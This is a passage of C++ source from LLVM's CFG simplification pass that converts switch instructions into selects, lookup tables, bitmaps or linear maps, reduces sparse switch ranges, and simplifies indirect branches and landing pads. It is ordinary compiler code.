Value *const ValueCompare =
Builder.CreateICmpEQ(Condition, FirstCase, "switch.selectcmp");
return Builder.CreateSelect(ValueCompare, ResultVector[0].first,
SelectValue, "switch.select");
}
return nullptr;
}
// Helper function to cleanup a switch instruction that has been converted into
// a select, fixing up PHI nodes and basic blocks.
static void RemoveSwitchAfterSelectConversion(SwitchInst *SI, PHINode *PHI,
Value *SelectValue,
IRBuilder<> &Builder) {
BasicBlock *SelectBB = SI->getParent();
while (PHI->getBasicBlockIndex(SelectBB) >= 0)
PHI->removeIncomingValue(SelectBB);
PHI->addIncoming(SelectValue, SelectBB);
Builder.CreateBr(PHI->getParent());
// Remove the switch.
for (unsigned i = 0, e = SI->getNumSuccessors(); i < e; ++i) {
BasicBlock *Succ = SI->getSuccessor(i);
if (Succ == PHI->getParent())
continue;
Succ->removePredecessor(SelectBB);
}
SI->eraseFromParent();
}
/// If the switch is only used to initialize one or more
/// phi nodes in a common successor block with only two different
/// constant values, replace the switch with select.
static bool switchToSelect(SwitchInst *SI, IRBuilder<> &Builder,
const DataLayout &DL,
const TargetTransformInfo &TTI) {
Value *const Cond = SI->getCondition();
PHINode *PHI = nullptr;
BasicBlock *CommonDest = nullptr;
Constant *DefaultResult;
SwitchCaseResultVectorTy UniqueResults;
// Collect all the cases that will deliver the same value from the switch.
if (!InitializeUniqueCases(SI, PHI, CommonDest, UniqueResults, DefaultResult,
DL, TTI, 2, 1))
return false;
// Selects choose between maximum two values.
if (UniqueResults.size() != 2)
return false;
assert(PHI != nullptr && "PHI for value select not found");
Builder.SetInsertPoint(SI);
Value *SelectValue =
ConvertTwoCaseSwitch(UniqueResults, DefaultResult, Cond, Builder);
if (SelectValue) {
RemoveSwitchAfterSelectConversion(SI, PHI, SelectValue, Builder);
return true;
}
// The switch couldn't be converted into a select.
return false;
}
namespace {
/// This class represents a lookup table that can be used to replace a switch.
class SwitchLookupTable {
public:
/// Create a lookup table to use as a switch replacement with the contents
/// of Values, using DefaultValue to fill any holes in the table.
SwitchLookupTable(
Module &M, uint64_t TableSize, ConstantInt *Offset,
const SmallVectorImpl<std::pair<ConstantInt *, Constant *>> &Values,
Constant *DefaultValue, const DataLayout &DL, const StringRef &FuncName);
/// Build instructions with Builder to retrieve the value at
/// the position given by Index in the lookup table.
Value *BuildLookup(Value *Index, IRBuilder<> &Builder);
/// Return true if a table with TableSize elements of
/// type ElementType would fit in a target-legal register.
static bool WouldFitInRegister(const DataLayout &DL, uint64_t TableSize,
Type *ElementType);
private:
// Depending on the contents of the table, it can be represented in
// different ways.
enum {
// For tables where each element contains the same value, we just have to
// store that single value and return it for each lookup.
SingleValueKind,
// For tables where there is a linear relationship between table index
// and values. We calculate the result with a simple multiplication
// and addition instead of a table lookup.
LinearMapKind,
// For small tables with integer elements, we can pack them into a bitmap
// that fits into a target-legal register. Values are retrieved by
// shift and mask operations.
BitMapKind,
// The table is stored as an array of values. Values are retrieved by load
// instructions from the table.
ArrayKind
} Kind;
// For SingleValueKind, this is the single value.
Constant *SingleValue = nullptr;
// For BitMapKind, this is the bitmap.
ConstantInt *BitMap = nullptr;
IntegerType *BitMapElementTy = nullptr;
// For LinearMapKind, these are the constants used to derive the value.
ConstantInt *LinearOffset = nullptr;
ConstantInt *LinearMultiplier = nullptr;
// For ArrayKind, this is the array.
GlobalVariable *Array = nullptr;
};
} // end anonymous namespace
SwitchLookupTable::SwitchLookupTable(
Module &M, uint64_t TableSize, ConstantInt *Offset,
const SmallVectorImpl<std::pair<ConstantInt *, Constant *>> &Values,
Constant *DefaultValue, const DataLayout &DL, const StringRef &FuncName) {
assert(Values.size() && "Can't build lookup table without values!");
assert(TableSize >= Values.size() && "Can't fit values in table!");
// If all values in the table are equal, this is that value.
SingleValue = Values.begin()->second;
Type *ValueType = Values.begin()->second->getType();
// Build up the table contents.
SmallVector<Constant *, 64> TableContents(TableSize);
for (size_t I = 0, E = Values.size(); I != E; ++I) {
ConstantInt *CaseVal = Values[I].first;
Constant *CaseRes = Values[I].second;
assert(CaseRes->getType() == ValueType);
uint64_t Idx = (CaseVal->getValue() - Offset->getValue()).getLimitedValue();
TableContents[Idx] = CaseRes;
if (CaseRes != SingleValue)
SingleValue = nullptr;
}
// Fill in any holes in the table with the default result.
if (Values.size() < TableSize) {
assert(DefaultValue &&
"Need a default value to fill the lookup table holes.");
assert(DefaultValue->getType() == ValueType);
for (uint64_t I = 0; I < TableSize; ++I) {
if (!TableContents[I])
TableContents[I] = DefaultValue;
}
if (DefaultValue != SingleValue)
SingleValue = nullptr;
}
// If each element in the table contains the same value, we only need to store
// that single value.
if (SingleValue) {
Kind = SingleValueKind;
return;
}
// Check if we can derive the value with a linear transformation from the
// table index.
if (isa<IntegerType>(ValueType)) {
bool LinearMappingPossible = true;
APInt PrevVal;
APInt DistToPrev;
assert(TableSize >= 2 && "Should be a SingleValue table.");
// Check if there is the same distance between two consecutive values.
for (uint64_t I = 0; I < TableSize; ++I) {
ConstantInt *ConstVal = dyn_cast<ConstantInt>(TableContents[I]);
if (!ConstVal) {
// This is an undef. We could deal with it, but undefs in lookup tables
// are very seldom. It's probably not worth the additional complexity.
LinearMappingPossible = false;
break;
}
const APInt &Val = ConstVal->getValue();
if (I != 0) {
APInt Dist = Val - PrevVal;
if (I == 1) {
DistToPrev = Dist;
} else if (Dist != DistToPrev) {
LinearMappingPossible = false;
break;
}
}
PrevVal = Val;
}
if (LinearMappingPossible) {
LinearOffset = cast<ConstantInt>(TableContents[0]);
LinearMultiplier = ConstantInt::get(M.getContext(), DistToPrev);
Kind = LinearMapKind;
++NumLinearMaps;
return;
}
}
// If the type is integer and the table fits in a register, build a bitmap.
if (WouldFitInRegister(DL, TableSize, ValueType)) {
IntegerType *IT = cast<IntegerType>(ValueType);
APInt TableInt(TableSize * IT->getBitWidth(), 0);
for (uint64_t I = TableSize; I > 0; --I) {
TableInt <<= IT->getBitWidth();
// Insert values into the bitmap. Undef values are set to zero.
if (!isa<UndefValue>(TableContents[I - 1])) {
ConstantInt *Val = cast<ConstantInt>(TableContents[I - 1]);
TableInt |= Val->getValue().zext(TableInt.getBitWidth());
}
}
BitMap = ConstantInt::get(M.getContext(), TableInt);
BitMapElementTy = IT;
Kind = BitMapKind;
++NumBitMaps;
return;
}
// Store the table in an array.
ArrayType *ArrayTy = ArrayType::get(ValueType, TableSize);
Constant *Initializer = ConstantArray::get(ArrayTy, TableContents);
Array = new GlobalVariable(M, ArrayTy, /*constant=*/true,
GlobalVariable::PrivateLinkage, Initializer,
"switch.table." + FuncName);
Array->setUnnamedAddr(GlobalValue::UnnamedAddr::Global);
// Set the alignment to that of an array items. We will be only loading one
// value out of it.
Array->setAlignment(DL.getPrefTypeAlignment(ValueType));
Kind = ArrayKind;
}
Value *SwitchLookupTable::BuildLookup(Value *Index, IRBuilder<> &Builder) {
switch (Kind) {
case SingleValueKind:
return SingleValue;
case LinearMapKind: {
// Derive the result value from the input value.
Value *Result = Builder.CreateIntCast(Index, LinearMultiplier->getType(),
false, "switch.idx.cast");
if (!LinearMultiplier->isOne())
Result = Builder.CreateMul(Result, LinearMultiplier, "switch.idx.mult");
if (!LinearOffset->isZero())
Result = Builder.CreateAdd(Result, LinearOffset, "switch.offset");
return Result;
}
case BitMapKind: {
// Type of the bitmap (e.g. i59).
IntegerType *MapTy = BitMap->getType();
// Cast Index to the same type as the bitmap.
// Note: The Index is <= the number of elements in the table, so
// truncating it to the width of the bitmask is safe.
Value *ShiftAmt = Builder.CreateZExtOrTrunc(Index, MapTy, "switch.cast");
// Multiply the shift amount by the element width.
ShiftAmt = Builder.CreateMul(
ShiftAmt, ConstantInt::get(MapTy, BitMapElementTy->getBitWidth()),
"switch.shiftamt");
// Shift down.
Value *DownShifted =
Builder.CreateLShr(BitMap, ShiftAmt, "switch.downshift");
// Mask off.
return Builder.CreateTrunc(DownShifted, BitMapElementTy, "switch.masked");
}
case ArrayKind: {
// Make sure the table index will not overflow when treated as signed.
IntegerType *IT = cast<IntegerType>(Index->getType());
uint64_t TableSize =
Array->getInitializer()->getType()->getArrayNumElements();
if (TableSize > (1ULL << (IT->getBitWidth() - 1)))
Index = Builder.CreateZExt(
Index, IntegerType::get(IT->getContext(), IT->getBitWidth() + 1),
"switch.tableidx.zext");
Value *GEPIndices[] = {Builder.getInt32(0), Index};
Value *GEP = Builder.CreateInBoundsGEP(Array->getValueType(), Array,
GEPIndices, "switch.gep");
return Builder.CreateLoad(
cast<ArrayType>(Array->getValueType())->getElementType(), GEP,
"switch.load");
}
}
llvm_unreachable("Unknown lookup table kind!");
}
bool SwitchLookupTable::WouldFitInRegister(const DataLayout &DL,
uint64_t TableSize,
Type *ElementType) {
auto *IT = dyn_cast<IntegerType>(ElementType);
if (!IT)
return false;
// FIXME: If the type is wider than it needs to be, e.g. i8 but all values
// are <= 15, we could try to narrow the type.
// Avoid overflow, fitsInLegalInteger uses unsigned int for the width.
if (TableSize >= UINT_MAX / IT->getBitWidth())
return false;
return DL.fitsInLegalInteger(TableSize * IT->getBitWidth());
}
/// Determine whether a lookup table should be built for this switch, based on
/// the number of cases, size of the table, and the types of the results.
static bool
ShouldBuildLookupTable(SwitchInst *SI, uint64_t TableSize,
const TargetTransformInfo &TTI, const DataLayout &DL,
const SmallDenseMap<PHINode *, Type *> &ResultTypes) {
if (SI->getNumCases() > TableSize || TableSize >= UINT64_MAX / 10)
return false; // TableSize overflowed, or mul below might overflow.
bool AllTablesFitInRegister = true;
bool HasIllegalType = false;
for (const auto &I : ResultTypes) {
Type *Ty = I.second;
// Saturate this flag to true.
HasIllegalType = HasIllegalType || !TTI.isTypeLegal(Ty);
// Saturate this flag to false.
AllTablesFitInRegister =
AllTablesFitInRegister &&
SwitchLookupTable::WouldFitInRegister(DL, TableSize, Ty);
// If both flags saturate, we're done. NOTE: This *only* works with
// saturating flags, and all flags have to saturate first due to the
// non-deterministic behavior of iterating over a dense map.
if (HasIllegalType && !AllTablesFitInRegister)
break;
}
// If each table would fit in a register, we should build it anyway.
if (AllTablesFitInRegister)
return true;
// Don't build a table that doesn't fit in-register if it has illegal types.
if (HasIllegalType)
return false;
// The table density should be at least 40%. This is the same criterion as for
// jump tables, see SelectionDAGBuilder::handleJTSwitchCase.
// FIXME: Find the best cut-off.
return SI->getNumCases() * 10 >= TableSize * 4;
}
/// Try to reuse the switch table index compare. Following pattern:
/// \code
/// if (idx < tablesize)
/// r = table[idx]; // table does not contain default_value
/// else
/// r = default_value;
/// if (r != default_value)
/// ...
/// \endcode
/// Is optimized to:
/// \code
/// cond = idx < tablesize;
/// if (cond)
/// r = table[idx];
/// else
/// r = default_value;
/// if (cond)
/// ...
/// \endcode
/// Jump threading will then eliminate the second if(cond).
static void reuseTableCompare(
User *PhiUser, BasicBlock *PhiBlock, BranchInst *RangeCheckBranch,
Constant *DefaultValue,
const SmallVectorImpl<std::pair<ConstantInt *, Constant *>> &Values) {
ICmpInst *CmpInst = dyn_cast<ICmpInst>(PhiUser);
if (!CmpInst)
return;
// We require that the compare is in the same block as the phi so that jump
// threading can do its work afterwards.
if (CmpInst->getParent() != PhiBlock)
return;
Constant *CmpOp1 = dyn_cast<Constant>(CmpInst->getOperand(1));
if (!CmpOp1)
return;
Value *RangeCmp = RangeCheckBranch->getCondition();
Constant *TrueConst = ConstantInt::getTrue(RangeCmp->getType());
Constant *FalseConst = ConstantInt::getFalse(RangeCmp->getType());
// Check if the compare with the default value is constant true or false.
Constant *DefaultConst = ConstantExpr::getICmp(CmpInst->getPredicate(),
DefaultValue, CmpOp1, true);
if (DefaultConst != TrueConst && DefaultConst != FalseConst)
return;
// Check if the compare with the case values is distinct from the default
// compare result.
for (auto ValuePair : Values) {
Constant *CaseConst = ConstantExpr::getICmp(CmpInst->getPredicate(),
ValuePair.second, CmpOp1, true);
if (!CaseConst || CaseConst == DefaultConst || isa<UndefValue>(CaseConst))
return;
assert((CaseConst == TrueConst || CaseConst == FalseConst) &&
"Expect true or false as compare result.");
}
// Check if the branch instruction dominates the phi node. It's a simple
// dominance check, but sufficient for our needs.
// Although this check is invariant in the calling loops, it's better to do it
// at this late stage. Practically we do it at most once for a switch.
BasicBlock *BranchBlock = RangeCheckBranch->getParent();
for (auto PI = pred_begin(PhiBlock), E = pred_end(PhiBlock); PI != E; ++PI) {
BasicBlock *Pred = *PI;
if (Pred != BranchBlock && Pred->getUniquePredecessor() != BranchBlock)
return;
}
if (DefaultConst == FalseConst) {
// The compare yields the same result. We can replace it.
CmpInst->replaceAllUsesWith(RangeCmp);
++NumTableCmpReuses;
} else {
// The compare yields the same result, just inverted. We can replace it.
Value *InvertedTableCmp = BinaryOperator::CreateXor(
RangeCmp, ConstantInt::get(RangeCmp->getType(), 1), "inverted.cmp",
RangeCheckBranch);
CmpInst->replaceAllUsesWith(InvertedTableCmp);
++NumTableCmpReuses;
}
}
/// If the switch is only used to initialize one or more phi nodes in a common
/// successor block with different constant values, replace the switch with
/// lookup tables.
static bool SwitchToLookupTable(SwitchInst *SI, IRBuilder<> &Builder,
const DataLayout &DL,
const TargetTransformInfo &TTI) {
assert(SI->getNumCases() > 1 && "Degenerate switch?");
Function *Fn = SI->getParent()->getParent();
// Only build lookup table when we have a target that supports it or the
// attribute is not set.
if (!TTI.shouldBuildLookupTables() ||
(Fn->getFnAttribute("no-jump-tables").getValueAsString() == "true"))
return false;
// FIXME: If the switch is too sparse for a lookup table, perhaps we could
// split off a dense part and build a lookup table for that.
// FIXME: This creates arrays of GEPs to constant strings, which means each
// GEP needs a runtime relocation in PIC code. We should just build one big
// string and lookup indices into that.
// Ignore switches with less than three cases. Lookup tables will not make
// them faster, so we don't analyze them.
if (SI->getNumCases() < 3)
return false;
// Figure out the corresponding result for each case value and phi node in the
// common destination, as well as the min and max case values.
assert(!SI->cases().empty());
SwitchInst::CaseIt CI = SI->case_begin();
ConstantInt *MinCaseVal = CI->getCaseValue();
ConstantInt *MaxCaseVal = CI->getCaseValue();
BasicBlock *CommonDest = nullptr;
using ResultListTy = SmallVector<std::pair<ConstantInt *, Constant *>, 4>;
SmallDenseMap<PHINode *, ResultListTy> ResultLists;
SmallDenseMap<PHINode *, Constant *> DefaultResults;
SmallDenseMap<PHINode *, Type *> ResultTypes;
SmallVector<PHINode *, 4> PHIs;
for (SwitchInst::CaseIt E = SI->case_end(); CI != E; ++CI) {
ConstantInt *CaseVal = CI->getCaseValue();
if (CaseVal->getValue().slt(MinCaseVal->getValue()))
MinCaseVal = CaseVal;
if (CaseVal->getValue().sgt(MaxCaseVal->getValue()))
MaxCaseVal = CaseVal;
// Resulting value at phi nodes for this case value.
using ResultsTy = SmallVector<std::pair<PHINode *, Constant *>, 4>;
ResultsTy Results;
if (!GetCaseResults(SI, CaseVal, CI->getCaseSuccessor(), &CommonDest,
Results, DL, TTI))
return false;
// Append the result from this case to the list for each phi.
for (const auto &I : Results) {
PHINode *PHI = I.first;
Constant *Value = I.second;
if (!ResultLists.count(PHI))
PHIs.push_back(PHI);
ResultLists[PHI].push_back(std::make_pair(CaseVal, Value));
}
}
// Keep track of the result types.
for (PHINode *PHI : PHIs) {
ResultTypes[PHI] = ResultLists[PHI][0].second->getType();
}
uint64_t NumResults = ResultLists[PHIs[0]].size();
APInt RangeSpread = MaxCaseVal->getValue() - MinCaseVal->getValue();
uint64_t TableSize = RangeSpread.getLimitedValue() + 1;
bool TableHasHoles = (NumResults < TableSize);
// If the table has holes, we need a constant result for the default case
// or a bitmask that fits in a register.
SmallVector<std::pair<PHINode *, Constant *>, 4> DefaultResultsList;
bool HasDefaultResults =
GetCaseResults(SI, nullptr, SI->getDefaultDest(), &CommonDest,
DefaultResultsList, DL, TTI);
bool NeedMask = (TableHasHoles && !HasDefaultResults);
if (NeedMask) {
// As an extra penalty for the validity test we require more cases.
if (SI->getNumCases() < 4) // FIXME: Find best threshold value (benchmark).
return false;
if (!DL.fitsInLegalInteger(TableSize))
return false;
}
for (const auto &I : DefaultResultsList) {
PHINode *PHI = I.first;
Constant *Result = I.second;
DefaultResults[PHI] = Result;
}
if (!ShouldBuildLookupTable(SI, TableSize, TTI, DL, ResultTypes))
return false;
// Create the BB that does the lookups.
Module &Mod = *CommonDest->getParent()->getParent();
BasicBlock *LookupBB = BasicBlock::Create(
Mod.getContext(), "switch.lookup", CommonDest->getParent(), CommonDest);
// Compute the table index value.
Builder.SetInsertPoint(SI);
Value *TableIndex;
if (MinCaseVal->isNullValue())
TableIndex = SI->getCondition();
else
TableIndex = Builder.CreateSub(SI->getCondition(), MinCaseVal,
"switch.tableidx");
// Compute the maximum table size representable by the integer type we are
// switching upon.
unsigned CaseSize = MinCaseVal->getType()->getPrimitiveSizeInBits();
uint64_t MaxTableSize = CaseSize > 63 ? UINT64_MAX : 1ULL << CaseSize;
assert(MaxTableSize >= TableSize &&
"It is impossible for a switch to have more entries than the max "
"representable value of its input integer type's size.");
// If the default destination is unreachable, or if the lookup table covers
// all values of the conditional variable, branch directly to the lookup table
// BB. Otherwise, check that the condition is within the case range.
const bool DefaultIsReachable =
!isa<UnreachableInst>(SI->getDefaultDest()->getFirstNonPHIOrDbg());
const bool GeneratingCoveredLookupTable = (MaxTableSize == TableSize);
BranchInst *RangeCheckBranch = nullptr;
if (!DefaultIsReachable || GeneratingCoveredLookupTable) {
Builder.CreateBr(LookupBB);
// Note: We call removeProdecessor later since we need to be able to get the
// PHI value for the default case in case we're using a bit mask.
} else {
Value *Cmp = Builder.CreateICmpULT(
TableIndex, ConstantInt::get(MinCaseVal->getType(), TableSize));
RangeCheckBranch =
Builder.CreateCondBr(Cmp, LookupBB, SI->getDefaultDest());
}
// Populate the BB that does the lookups.
Builder.SetInsertPoint(LookupBB);
if (NeedMask) {
// Before doing the lookup, we do the hole check. The LookupBB is therefore
// re-purposed to do the hole check, and we create a new LookupBB.
BasicBlock *MaskBB = LookupBB;
MaskBB->setName("switch.hole_check");
LookupBB = BasicBlock::Create(Mod.getContext(), "switch.lookup",
CommonDest->getParent(), CommonDest);
// Make the mask's bitwidth at least 8-bit and a power-of-2 to avoid
// unnecessary illegal types.
uint64_t TableSizePowOf2 = NextPowerOf2(std::max(7ULL, TableSize - 1ULL));
APInt MaskInt(TableSizePowOf2, 0);
APInt One(TableSizePowOf2, 1);
// Build bitmask; fill in a 1 bit for every case.
const ResultListTy &ResultList = ResultLists[PHIs[0]];
for (size_t I = 0, E = ResultList.size(); I != E; ++I) {
uint64_t Idx = (ResultList[I].first->getValue() - MinCaseVal->getValue())
.getLimitedValue();
MaskInt |= One << Idx;
}
ConstantInt *TableMask = ConstantInt::get(Mod.getContext(), MaskInt);
// Get the TableIndex'th bit of the bitmask.
// If this bit is 0 (meaning hole) jump to the default destination,
// else continue with table lookup.
IntegerType *MapTy = TableMask->getType();
Value *MaskIndex =
Builder.CreateZExtOrTrunc(TableIndex, MapTy, "switch.maskindex");
Value *Shifted = Builder.CreateLShr(TableMask, MaskIndex, "switch.shifted");
Value *LoBit = Builder.CreateTrunc(
Shifted, Type::getInt1Ty(Mod.getContext()), "switch.lobit");
Builder.CreateCondBr(LoBit, LookupBB, SI->getDefaultDest());
Builder.SetInsertPoint(LookupBB);
AddPredecessorToBlock(SI->getDefaultDest(), MaskBB, SI->getParent());
}
if (!DefaultIsReachable || GeneratingCoveredLookupTable) {
// We cached PHINodes in PHIs. To avoid accessing deleted PHINodes later,
// do not delete PHINodes here.
SI->getDefaultDest()->removePredecessor(SI->getParent(),
/*KeepOneInputPHIs=*/true);
}
bool ReturnedEarly = false;
for (PHINode *PHI : PHIs) {
const ResultListTy &ResultList = ResultLists[PHI];
// If using a bitmask, use any value to fill the lookup table holes.
Constant *DV = NeedMask ? ResultLists[PHI][0].second : DefaultResults[PHI];
StringRef FuncName = Fn->getName();
SwitchLookupTable Table(Mod, TableSize, MinCaseVal, ResultList, DV, DL,
FuncName);
Value *Result = Table.BuildLookup(TableIndex, Builder);
// If the result is used to return immediately from the function, we want to
// do that right here.
if (PHI->hasOneUse() && isa<ReturnInst>(*PHI->user_begin()) &&
PHI->user_back() == CommonDest->getFirstNonPHIOrDbg()) {
Builder.CreateRet(Result);
ReturnedEarly = true;
break;
}
// Do a small peephole optimization: re-use the switch table compare if
// possible.
if (!TableHasHoles && HasDefaultResults && RangeCheckBranch) {
BasicBlock *PhiBlock = PHI->getParent();
// Search for compare instructions which use the phi.
for (auto *User : PHI->users()) {
reuseTableCompare(User, PhiBlock, RangeCheckBranch, DV, ResultList);
}
}
PHI->addIncoming(Result, LookupBB);
}
if (!ReturnedEarly)
Builder.CreateBr(CommonDest);
// Remove the switch.
for (unsigned i = 0, e = SI->getNumSuccessors(); i < e; ++i) {
BasicBlock *Succ = SI->getSuccessor(i);
if (Succ == SI->getDefaultDest())
continue;
Succ->removePredecessor(SI->getParent());
}
SI->eraseFromParent();
++NumLookupTables;
if (NeedMask)
++NumLookupTablesHoles;
return true;
}
static bool isSwitchDense(ArrayRef<int64_t> Values) {
// See also SelectionDAGBuilder::isDense(), which this function was based on.
uint64_t Diff = (uint64_t)Values.back() - (uint64_t)Values.front();
uint64_t Range = Diff + 1;
uint64_t NumCases = Values.size();
// 40% is the default density for building a jump table in optsize/minsize mode.
uint64_t MinDensity = 40;
return NumCases * 100 >= Range * MinDensity;
}
/// Try to transform a switch that has "holes" in it to a contiguous sequence
/// of cases.
///
/// A switch such as: switch(i) {case 5: case 9: case 13: case 17:} can be
/// range-reduced to: switch ((i-5) / 4) {case 0: case 1: case 2: case 3:}.
///
/// This converts a sparse switch into a dense switch which allows better
/// lowering and could also allow transforming into a lookup table.
static bool ReduceSwitchRange(SwitchInst *SI, IRBuilder<> &Builder,
const DataLayout &DL,
const TargetTransformInfo &TTI) {
auto *CondTy = cast<IntegerType>(SI->getCondition()->getType());
if (CondTy->getIntegerBitWidth() > 64 ||
!DL.fitsInLegalInteger(CondTy->getIntegerBitWidth()))
return false;
// Only bother with this optimization if there are more than 3 switch cases;
// SDAG will only bother creating jump tables for 4 or more cases.
if (SI->getNumCases() < 4)
return false;
// This transform is agnostic to the signedness of the input or case values. We
// can treat the case values as signed or unsigned. We can optimize more common
// cases such as a sequence crossing zero {-4,0,4,8} if we interpret case values
// as signed.
SmallVector<int64_t,4> Values;
for (auto &C : SI->cases())
Values.push_back(C.getCaseValue()->getValue().getSExtValue());
llvm::sort(Values);
// If the switch is already dense, there's nothing useful to do here.
if (isSwitchDense(Values))
return false;
// First, transform the values such that they start at zero and ascend.
int64_t Base = Values[0];
for (auto &V : Values)
V -= (uint64_t)(Base);
// Now we have signed numbers that have been shifted so that, given enough
// precision, there are no negative values. Since the rest of the transform
// is bitwise only, we switch now to an unsigned representation.
// This transform can be done speculatively because it is so cheap - it
// results in a single rotate operation being inserted.
// FIXME: It's possible that optimizing a switch on powers of two might also
// be beneficial - flag values are often powers of two and we could use a CLZ
// as the key function.
// countTrailingZeros(0) returns 64. As Values is guaranteed to have more than
// one element and LLVM disallows duplicate cases, Shift is guaranteed to be
// less than 64.
unsigned Shift = 64;
for (auto &V : Values)
Shift = std::min(Shift, countTrailingZeros((uint64_t)V));
assert(Shift < 64);
if (Shift > 0)
for (auto &V : Values)
V = (int64_t)((uint64_t)V >> Shift);
if (!isSwitchDense(Values))
// Transform didn't create a dense switch.
return false;
// The obvious transform is to shift the switch condition right and emit a
// check that the condition actually cleanly divided by GCD, i.e.
// C & (1 << Shift - 1) == 0
// inserting a new CFG edge to handle the case where it didn't divide cleanly.
//
// A cheaper way of doing this is a simple ROTR(C, Shift). This performs the
// shift and puts the shifted-off bits in the uppermost bits. If any of these
// are nonzero then the switch condition will be very large and will hit the
// default case.
auto *Ty = cast<IntegerType>(SI->getCondition()->getType());
Builder.SetInsertPoint(SI);
auto *ShiftC = ConstantInt::get(Ty, Shift);
auto *Sub = Builder.CreateSub(SI->getCondition(), ConstantInt::get(Ty, Base));
auto *LShr = Builder.CreateLShr(Sub, ShiftC);
auto *Shl = Builder.CreateShl(Sub, Ty->getBitWidth() - Shift);
auto *Rot = Builder.CreateOr(LShr, Shl);
SI->replaceUsesOfWith(SI->getCondition(), Rot);
for (auto Case : SI->cases()) {
auto *Orig = Case.getCaseValue();
auto Sub = Orig->getValue() - APInt(Ty->getBitWidth(), Base);
Case.setValue(
cast<ConstantInt>(ConstantInt::get(Ty, Sub.lshr(ShiftC->getValue()))));
}
return true;
}
bool SimplifyCFGOpt::SimplifySwitch(SwitchInst *SI, IRBuilder<> &Builder) {
BasicBlock *BB = SI->getParent();
if (isValueEqualityComparison(SI)) {
// If we only have one predecessor, and if it is a branch on this value,
// see if that predecessor totally determines the outcome of this switch.
if (BasicBlock *OnlyPred = BB->getSinglePredecessor())
if (SimplifyEqualityComparisonWithOnlyPredecessor(SI, OnlyPred, Builder))
return requestResimplify();
Value *Cond = SI->getCondition();
if (SelectInst *Select = dyn_cast<SelectInst>(Cond))
if (SimplifySwitchOnSelect(SI, Select))
return requestResimplify();
// If the block only contains the switch, see if we can fold the block
// away into any preds.
if (SI == &*BB->instructionsWithoutDebug().begin())
if (FoldValueComparisonIntoPredecessors(SI, Builder))
return requestResimplify();
}
// Try to transform the switch into an icmp and a branch.
if (TurnSwitchRangeIntoICmp(SI, Builder))
return requestResimplify();
// Remove unreachable cases.
if (eliminateDeadSwitchCases(SI, Options.AC, DL))
return requestResimplify();
if (switchToSelect(SI, Builder, DL, TTI))
return requestResimplify();
if (Options.ForwardSwitchCondToPhi && ForwardSwitchConditionToPHI(SI))
return requestResimplify();
// The conversion from switch to lookup tables results in difficult-to-analyze
// code and makes pruning branches much harder. This is a problem if the
// switch expression itself can still be restricted as a result of inlining or
// CVP. Therefore, only apply this transformation during late stages of the
// optimisation pipeline.
if (Options.ConvertSwitchToLookupTable &&
SwitchToLookupTable(SI, Builder, DL, TTI))
return requestResimplify();
if (ReduceSwitchRange(SI, Builder, DL, TTI))
return requestResimplify();
return false;
}
bool SimplifyCFGOpt::SimplifyIndirectBr(IndirectBrInst *IBI) {
BasicBlock *BB = IBI->getParent();
bool Changed = false;
// Eliminate redundant destinations.
SmallPtrSet<Value *, 8> Succs;
for (unsigned i = 0, e = IBI->getNumDestinations(); i != e; ++i) {
BasicBlock *Dest = IBI->getDestination(i);
if (!Dest->hasAddressTaken() || !Succs.insert(Dest).second) {
Dest->removePredecessor(BB);
IBI->removeDestination(i);
--i;
--e;
Changed = true;
}
}
if (IBI->getNumDestinations() == 0) {
// If the indirectbr has no successors, change it to unreachable.
new UnreachableInst(IBI->getContext(), IBI);
EraseTerminatorAndDCECond(IBI);
return true;
}
if (IBI->getNumDestinations() == 1) {
// If the indirectbr has one successor, change it to a direct branch.
BranchInst::Create(IBI->getDestination(0), IBI);
EraseTerminatorAndDCECond(IBI);
return true;
}
if (SelectInst *SI = dyn_cast<SelectInst>(IBI->getAddress())) {
if (SimplifyIndirectBrOnSelect(IBI, SI))
return requestResimplify();
}
return Changed;
}
/// Given an block with only a single landing pad and a unconditional branch
/// try to find another basic block which this one can be merged with. This
/// handles cases where we have multiple invokes with unique landing pads, but
/// a shared handler.
///
/// We specifically choose to not worry about merging non-empty blocks
/// here. That is a PRE/scheduling problem and is best solved elsewhere. In
/// practice, the optimizer produces empty landing pad blocks quite frequently
/// when dealing with exception dense code. (see: instcombine, gvn, if-else
/// sinking in this file)
///
/// This is primarily a code size optimization. We need to avoid performing
/// any transform which might inhibit optimization (such as our ability to
/// specialize a particular handler via tail commoning). We do this by not
/// merging any blocks which require us to introduce a phi. Since the same
/// values are flowing through both blocks, we don't lose any ability to
/// specialize. If anything, we make such specialization more likely.
///
/// TODO - This transformation could remove entries from a phi in the target
/// block when the inputs in the phi are the same for the two blocks being
/// merged. In some cases, this could result in removal of the PHI entirely.
static bool TryToMergeLandingPad(LandingPadInst *LPad, BranchInst *BI,
BasicBlock *BB) {
auto Succ = BB->getUniqueSuccessor();
assert(Succ);
// If there's a phi in the successor block, we'd likely have to introduce
// a phi into the merged landing pad block.
if (isa<PHINode>(*Succ->begin()))
return false;
for (BasicBlock *OtherPred : predecessors(Succ)) {
if (BB == OtherPred)
continue;
BasicBlock::iterator I = OtherPred->begin();
LandingPadInst *LPad2 = dyn_cast<LandingPadInst>(I);
if (!LPad2 || !LPad2->isIdenticalTo(LPad))
continue;
for (++I; isa<DbgInfoIntrinsic>(I); ++I)
;
BranchInst *BI2 = dyn_cast<BranchInst>(I);
if (!BI2 || !BI2->isIdenticalTo(BI))
continue;
// We've found an identical block. Update our predecessors to take that
// path instead and make ourselves dead.
SmallPtrSet<BasicBlock *, 16> Preds;
Preds.insert(pred_begin(BB), pred_end(BB));
for (BasicBlock *Pred : Preds) {
InvokeInst *II = cast<InvokeInst>(Pred->getTerminator());
assert(II->getNormalDest() != BB && II->getUnwindDest() == BB &&
"unexpected successor");
II->setUnwindDest(OtherPred);
}
// The debug info in OtherPred doesn't cover the merged control flow that
// used to go through BB. We need to delete it or update it.
for (auto I = OtherPred->begin(), E = OtherPred->end(); I != E;) {
Instruction &Inst = *I;
I++;
if (isa<DbgInfoIntrinsic>(Inst))
Inst.eraseFromParent();
}
SmallPtrSet<BasicBlock *, 16> Succs;
Succs.insert(succ_begin(BB), succ_end(BB));
for (BasicBlock *Succ : Succs) {
Succ->removePredecessor(BB);
}
IRBuilder<> Builder(BI);
Builder.CreateUnreachable();
BI->eraseFromParent();
return true;
}
return false;
}
bool SimplifyCFGOpt::SimplifyUncondBranch(BranchInst *BI,
IRBuilder<> &Builder) {
BasicBlock *BB = BI->getParent();
BasicBlock *Succ = BI->getSuccessor(0);
// If the Terminator is the only non-phi instruction, simplify the block.
// If LoopHeader is provided, check if the block or its successor is a loop
// header. (This is for early invocations before loop simplify and
